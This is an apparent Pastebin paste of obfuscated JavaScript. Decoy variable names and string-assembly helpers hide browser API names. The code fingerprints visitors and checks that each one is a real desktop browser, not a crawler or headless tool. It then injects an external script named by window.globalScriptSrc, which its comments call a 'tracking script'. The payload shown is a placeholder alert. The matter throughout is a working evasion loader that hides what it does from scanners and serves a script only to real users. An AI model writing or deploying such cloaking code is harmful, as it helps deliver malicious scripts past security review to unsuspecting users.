Advertisement
Guest User

Untitled

a guest
Oct 5th, 2018
167
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 13.80 KB | None | 0 0
  1. window.globalScriptSrc = "data:text/javascript,alert('work, yes')";
  2. var t = this;
  3. var bingo, paper, check, c, d, obj, translate;
  4. +function () {
  5. var l = loadBindData;
  6. var lib = 'React';
  7.  
  8. var appRequirements = {
  9. device: 'pc',
  10. screen: 1980,
  11. lang: 'java',
  12. cookie: true,
  13. src: '',
  14. teg: 'body',
  15. support: 'global',
  16. internet: 'enabled',
  17. method: 'post',
  18. accent: 'color',
  19. plugins: ['react-datepicker', 'rc-tree'],
  20. security: true,
  21. name: 'app',
  22. version: '1.0.0',
  23. platform: ['win', 'lin', 'mac'],
  24. browsers: ['chrom', 'safari', 'firefox', 'edge', 'opera'],/// !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!1
  25. accessCode: 1e13
  26. };
  27.  
  28. var calc = Math;
  29.  
  30. var elem = up(getData(l, 'not', 'logo', 'dom', 'clone')); // Node
  31. var ladder = {
  32. getCheck: function (param) {
  33. translate = bingo;
  34. return this
  35. },
  36.  
  37. getContext: function () {
  38. if (document.documentElement.firstElementChild === undefined) {
  39.  
  40. Object.defineProperty(Element.prototype, 'firstElementChild', {
  41. get: function () {
  42. var el = this.firstChild;
  43. do {
  44. if (el.nodeType === 1) {
  45. return el;
  46. }
  47. el = el.nextSibling;
  48. } while (el);
  49.  
  50. return null;
  51. }
  52. });
  53. }
  54. getContext(entities, additional);
  55. obj = t; // one more window
  56. return this
  57. },
  58.  
  59. getAge: function () {
  60. if (t) {
  61. paper = t[d]; // document
  62. c = paper; // document
  63. }
  64. return this
  65. }
  66. };
  67. var additional = ['Message', 'side', 'bug', 'sistem', 'post'];
  68. var entities = ['vas', 'ran', 'bar', 'dom', 'can', 'gate', 'web', 'or', 'mental', 'cube'];
  69.  
  70. var code = appRequirements.accessCode;
  71. var stamp = new Date / code;
  72.  
  73. var logo = $(entities[1], entities[3]); //random
  74. ladder.getContext()
  75. .getAge()
  76. .getCheck();
  77.  
  78. ~function (a, b) {
  79. var x = [];
  80. for (var i = 0; i < b.length; i++) {
  81. if (!i) {
  82. x.push(b)
  83. }
  84. }
  85. calc[b] = function () { return stamp };
  86. if (a) {
  87. a.forEach(calculatePosition)
  88. };
  89. }(getPlace(), logo);
  90.  
  91. var picture;
  92. var user = {
  93. login: 'Agent',
  94. password: 'user'
  95. };
  96.  
  97. var summer = getData(loadBindData, 'sun', 'ice', 'sand', 'wine', 'crab', 'umbrella', 'rom');
  98. var nut = String.fromCharCode(68) + (!![] + '').substring(3, 4) + additional[2]; // Debug
  99. var romb = lib.slice(0, 2) + lib.slice(3); // Rect
  100. var ff = t[summer]; //isNativeFF,
  101. var age = t[nut]; // IE/Edge
  102. var giraffe = obj[romb];
  103. console.log('window.Rect', giraffe); // isNativeSafari Safari/Firefox
  104. console.log('window', obj);
  105.  
  106. function getKeys(obj) {
  107. var keys = [];
  108. iterate(obj, function (oVal, oKey) { keys.push(oKey) });
  109. return keys;
  110. };
  111.  
  112. var end = getData(loadBindData, 'cake', 'nut', 'sorbet'); // ent
  113. var music = getData(l, 'pop', 'alternative', 'rap').toUpperCase(); // PER
  114. var findPart = additional[3].slice(0, 4).toUpperCase();
  115. var style = $(music, findPart);
  116. var primaryColor = $(style, end).toUpperCase();
  117. var isColored = obj[primaryColor]; // Chrome
  118. var translations = getKeys(appRequirements);
  119. var raduis = obj[translations[1]];
  120.  
  121.  
  122. var help = translations[3] + appRequirements['internet'].slice(0, 1).toUpperCase() + appRequirements['internet'].slice(1);
  123.  
  124. function iterate(iterable, callback) {
  125. for (var key in iterable) {
  126. if (key === 'length' || key === 'prototype' || !Object.prototype.hasOwnProperty.call(iterable, key)) continue;
  127. callback(iterable[key], key, iterable);
  128. }
  129. };
  130.  
  131. function getImage(x, y) {
  132. return entities[x] + entities[y];
  133. };
  134.  
  135. function getDeep() {
  136. var abc = getData(l, 'lacrosse', 'pit', 'port', 'hat'); // epth
  137. return $(String.fromCharCode(68), abc);
  138. };
  139.  
  140. var winter = ['ice', 'x', 'glove', 'log'];
  141.  
  142. function findExt() { //devicePixelRatio
  143. var point = $(String.fromCharCode(80), getData(loadBindData, winter));
  144. var rang = getData(l, 'Rom', 'axe', 'sport', 'ink', 'solo'); //Ratio
  145. return $($(translations[0], point), rang);
  146. };
  147.  
  148. var deepRatio = $(appRequirements.accent, getDeep()) //screen.colorDepth;
  149. var assets = translations[10]; // plugins
  150. var isFavorite = checkFavorite(); // isNewChrome
  151.  
  152. function getData() {
  153. var temp = [];
  154. var w = '';
  155. var f = arguments[0];
  156. if (Array.isArray(arguments[1])) {
  157. var data = arguments[1];
  158. if (!data || !data.length) {
  159. return data
  160. } else {
  161. for (var j = 0; j < data.length; j++) {
  162. w += f(data[j])
  163. }
  164. }
  165. } else {
  166. for (var i = 1; i < arguments.length; i++) {
  167. w += f(arguments[i])
  168. }
  169. }
  170. return w
  171. };
  172. var control = appRequirements.lang + up(appRequirements.internet); // javaEnabled
  173. var base = getData(loadBindData, 'bus', 'metro', 'sled', 'lorry'); // body
  174. var length = 'Child';
  175. var isOn = appRequirements.internet[0].toUpperCase();
  176.  
  177. function getWage(param) {
  178. if (param[translations[11]]) {
  179. return 4
  180. } else if (ff) {
  181. return 1
  182. } else {
  183. return 2
  184. }
  185. };
  186.  
  187. var oldEntries = appRequirements.name + elem.replace('N', 'C') + up('name'); // appCodeName
  188. var newEntries = appRequirements.name + up(translations[13]); // appVersion
  189.  
  190. var isSmall = function () { return !"".match.call(translate[assets][0].name, "um") }; // 0 in Chromium !!!!!!!!!!!!!!!!!!!!!!!!!!!!!1
  191. var wage = getWage(paper); // consoleCounter
  192.  
  193. function findEntries() {
  194. return [bingo[oldEntries], bingo[newEntries]].join(bingo[control]).match(/"/g);
  195. };
  196.  
  197. function getPlace() {
  198. return t[elem]['__cspr__'];
  199. };
  200.  
  201. function calculatePosition(coord) {
  202. return t[elem].prototype[coord[0]] = coord[1];
  203. };
  204.  
  205. var highlight = getData(l, 'buz', 'goal', 'pikabu', 'tour');
  206. var allowed = appRequirements;
  207. var gardian = allowed.browsers;
  208.  
  209. // !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
  210. var animals = getData(l, 'cat', 'rat', 'grizzly', 'pig', 'marmot', 'armadillo'); // crypto
  211. var isRealCaterpillar = typeof (obj[animals]) == "function" || findEntries(); // isFakeCrawler
  212. var addFile = findFastSolution(true); // createElement
  213. var width = appRequirements;
  214.  
  215.  
  216. function loadBindData(s) {
  217. if (s.length > 3) {
  218. return s[s.length - 1];
  219. }
  220. else return s[0];
  221. };
  222.  
  223. var png = getImage(4, 0);
  224. var img = paper[addFile](png); // canvasElem
  225. var attr = 'src';
  226. var imageSrc = getImageSrc();
  227.  
  228. try { var event = t[highligh] + "" } catch (e) { var event = false };
  229.  
  230. function findItem() { return $(translations[1][0], animals.slice(0, 2)) + $('ip', end[2]); }; // script
  231. var padding = width.name; // app
  232. var language = /g/;
  233. var doCheck = function () { // fireTrackingScript
  234. var content = addImage();
  235. return content(paper[addFile](findItem()))[attr] = t[imageSrc];
  236. };
  237.  
  238. function addImage() {
  239. var place = $(padding, 'end'); // append
  240. var height = calculateImageHeight(place);
  241. return paper[width.teg][height].bind(paper[width.teg]);
  242. };
  243.  
  244. function getImageSrc() { // globalScriptSrc
  245. return appRequirements.support + $(up(findItem()), up(attr));
  246. };
  247.  
  248. function up(item) {
  249. return item[0].toUpperCase() + item.slice(1);
  250. };
  251.  
  252. function calculateImageHeight(place) {
  253. return $(place, length)
  254. };
  255.  
  256. language.toString = function () { --wage; return "" };
  257.  
  258. var magic = translations[14];
  259.  
  260. var magicRegex = function () {//!!!!!!! change to win
  261. var ink = appRequirements[magic][1] + '|' + appRequirements[magic][2];
  262. return new RegExp(ink, 'ig');
  263. };
  264.  
  265. var minCheck = appRequirements.platform[2].replace('c', 'x');
  266.  
  267. if (translate[magic].match(magicRegex())) { // ts/mac, no mobiles
  268. var result = [];
  269. for (var i = magic.length; i > 0; i--) {
  270. result.push(magic[i]);
  271. }
  272. var dayOff = hasDayOff();
  273. var checkedData = checkData();
  274. var list = up(getData(l, 'tost', 'potato', 'un', 'can', 'hot'));
  275. var credentials = getCredentials(list); // maxTouchPoints
  276. if (!bingo[credentials]) { // no touchscreens
  277. if (!Array.prototype.findIndex) {
  278. Array.prototype.findIndex = function (predicate) {
  279. if (this == null) {
  280. throw new TypeError('Array.prototype.findIndex called on null or undefined');
  281. }
  282. if (typeof predicate !== 'function') {
  283. throw new TypeError('predicate must be a function');
  284. }
  285. var list = Object(this);
  286. var length = list.length >>> 0;
  287. var thisArg = arguments[1];
  288. var value;
  289.  
  290. for (var i = 0; i < length; i++) {
  291. value = list[i];
  292. if (predicate.call(thisArg, value, i, list)) {
  293. return i;
  294. }
  295. }
  296. return -1;
  297. };
  298. }
  299. if (!isRealCaterpillar && getAssets()) {
  300. if (checkedData) {
  301. console.log(language); // will decrement "consoleCounter"
  302. if (wage > 0 && t[dayOff]) { //check for canvas support
  303. // all ok, fire script
  304. doCheck();
  305. }
  306. }
  307. }
  308. }
  309. };
  310.  
  311. function hasDayOff() {
  312. var calendar = getData(loadBindData, 'big', 'un', 'fun', 'puff', 'elf', 'run');
  313. var experiance = up(entities[6]) + up(appRequirements.support[0]) + up(appRequirements.support[1]);
  314. return $(experiance, $(up('frame'), calendar));
  315. };
  316.  
  317. var auth = giraffe;
  318. var smart = getData(loadBindData, 'dog', 'caribou', 'worm', 'pig'); // dump
  319.  
  320. function fetchData() {
  321. var data = '';
  322. for (var i = 0; i < arguments.length; i++) {
  323. data += arguments[i]
  324. }
  325. };
  326.  
  327. var h = getData(l, 'kookaburra', 'albatross', 'sou', 'eagle', 'man', 'bat', 'kestrel', 'canary');
  328. var low = entities[7][0] + additional[1][0] + entities[4][0] + additional[4][0] + additional[2][1];
  329.  
  330. function createText(text, f) {
  331. return new RegExp(text, f);
  332. };
  333.  
  334. var down = $(up(entities[6]), up(h));
  335. var corner = $(getData(loadBindData, 'window', 'a', 'sun', 'fantom'), up(appRequirements.internet));
  336. ///!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
  337.  
  338.  
  339. function checkData() {
  340. var signedIn = $(user.password, user.login); // userAgent
  341. var checked = translate[signedIn]; // navigator.userAgent
  342.  
  343. console.log('match safari', checked.match(signIn()));
  344. console.log('is native safari', auth);
  345. return checked.match(signIn()) && (auth || ff) ||
  346. checked.match(freeEnter()) && isColored && isFavorite && isSmall() ||
  347. checked.match(isAllowed()) && age
  348. };
  349.  
  350. function getAssets() {
  351. return !t[smart] || t[down] && bingo[low] || bingo[corner];
  352. };
  353.  
  354. function getCredentials(list) {
  355. var cr = $(list, up(getData(l, 'stamp', 'owl', 'in', 'tablet', 'sun')));
  356. return $(minCheck, cr);
  357. };
  358.  
  359. function pm() {
  360. return appRequirements.method + additional[0];
  361. };
  362.  
  363. function createElement(el, value) {
  364. return el + value;
  365. };
  366.  
  367. function signIn() {
  368. var text = gardian[1] + '|' + gardian[2];
  369. return createText(text, 'i');
  370. };
  371.  
  372. function freeEnter() {
  373. var text = gardian[0];
  374. return createText(text, 'i');
  375. };
  376.  
  377. function findFastSolution(data) { //createElement
  378. var action;
  379. if (data) {
  380. action = 'create';
  381. if (!picture) {
  382. picture = entities[4] + entities[0];
  383. } // canvas
  384. } else {
  385. picture = 'art'
  386. }
  387. var first = action + isOn;
  388. var second = getData(loadBindData, 'lip', 'elf', 'charm') + end;
  389.  
  390. return $(first, second)
  391. };
  392.  
  393. function checkFavorite() {
  394. return t[pm()] && obj[findExt()] && raduis[deepRatio] && bingo[help] && translate[assets];
  395. };
  396.  
  397. function isAllowed() {
  398. var text = $(createElement('tr', 'id'), end) + '|' + gardian[3]; // /trident|edge/i
  399. return createText(text, 'i');
  400. };
  401.  
  402. function $(str, lett) {
  403. return str + lett;
  404. };
  405.  
  406. function getContext(a, p) {
  407. if (a) {
  408. if (a[2] === 'bar') {
  409. var part = a[1].split('').reverse().join('').slice(0, 2); /// !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
  410. var n = part + String.fromCharCode(118) + String.fromCharCode(105) + a[5].substring(0, 3) + a[7]; // navigator
  411. d = a[3].substring(0, 2) + a[9].substring(0, 2) + a[8].substring(0, 4);// document
  412. bingo = t[n]; // navigator
  413. }
  414. }
  415. };
  416. }();
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement